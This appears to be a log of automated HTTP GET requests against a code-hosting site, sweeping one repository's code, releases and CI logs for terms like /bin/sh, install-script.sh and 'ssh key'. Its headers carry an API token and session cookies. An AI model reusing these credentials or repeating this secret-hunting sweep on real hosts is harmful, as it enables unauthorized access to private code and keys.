{"method": "GET", "target": "/explore/users?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=repositories&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=release%20notes&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
